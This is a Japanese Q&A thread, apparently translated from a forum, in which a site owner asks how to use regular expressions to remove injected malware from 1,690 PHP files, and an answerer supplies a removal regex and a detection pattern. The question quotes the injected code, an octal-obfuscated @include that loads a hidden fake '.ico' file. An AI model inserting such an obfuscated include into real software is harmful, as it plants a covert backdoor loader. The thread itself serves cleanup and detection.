正規表現を使用した検索と置換

正規表現を使用した検索と置換

EMEditor と正規表現を使用して検索および置換する方法を探しています。以下の項目にこれを適用してみます。

<?php
/*f04b8*/

@include "\057mn\164/r\141id\057ho\155e/\164ap\151om\171/h\164do\143s/\124ap\151oP\157rt\141l/\154ib\162ar\151es\057.d\1419e\06484\063.i\143o";

/*f04b8*/ // ini_set(?display_errors?, 1);

コードを置き換えたり消去したりしようとすると

<?php

そして

// ini_set(?display_errors?, 1);

その間にあるものはすべて、多くのファイルから取り出そうとしているマルウェア スクリプトです。

1690 ファイルでこれを簡単に削除する方法を探しています。どんなアイデアでも非常に役立ちます。

ご多幸をお祈りします、トーマス

答え1

同様の文字列の PHP 正規表現は次のようになります...

/(\/\*.....\*\/\r\n\r\n@include.".*.";\r\n\r\n\/\*.....\*\/|\/\*.....\*\/\n\n@include.".*.";\n\n\/\*.....\*\/)/

これはさらに簡略化できますが、そのままでも機能します

**注意: これは、改行ではないランダムな 5 文字を含むコメント ブロックで始まり、その後に 2 つの新しい行、@include 行、さらに 2 つの新しい行、および一致するブロック コメントの終了が続く、問題のある文字列のすべての出現を検索します。ドキュメントが Windows、Mac、または Linux マシンのいずれに保存されたかは関係ありません。\r\n (Windows マシン) および \n\n (Linux および Mac マシン) に注意してください。

次の正規表現で文字列が一致することを確認しました: https://ingram-braun.net/erga/online-regex-tester-perl-php-javascript/

簡単に説明します。難読化された関数を含むランダムな文字列名を含むマルウェア ファイルを見つけるには、次の正規表現を使用します。

/function...\(\$..\){\$...\=."/

これにより、変更されたファイルが追跡され、影響を受けているマルウェアと同じ追加のマルウェア ファイルが見つかるはずです。

良い一日をお過ごしください。これがまだ誰かの役に立つことを願っています。

関連情報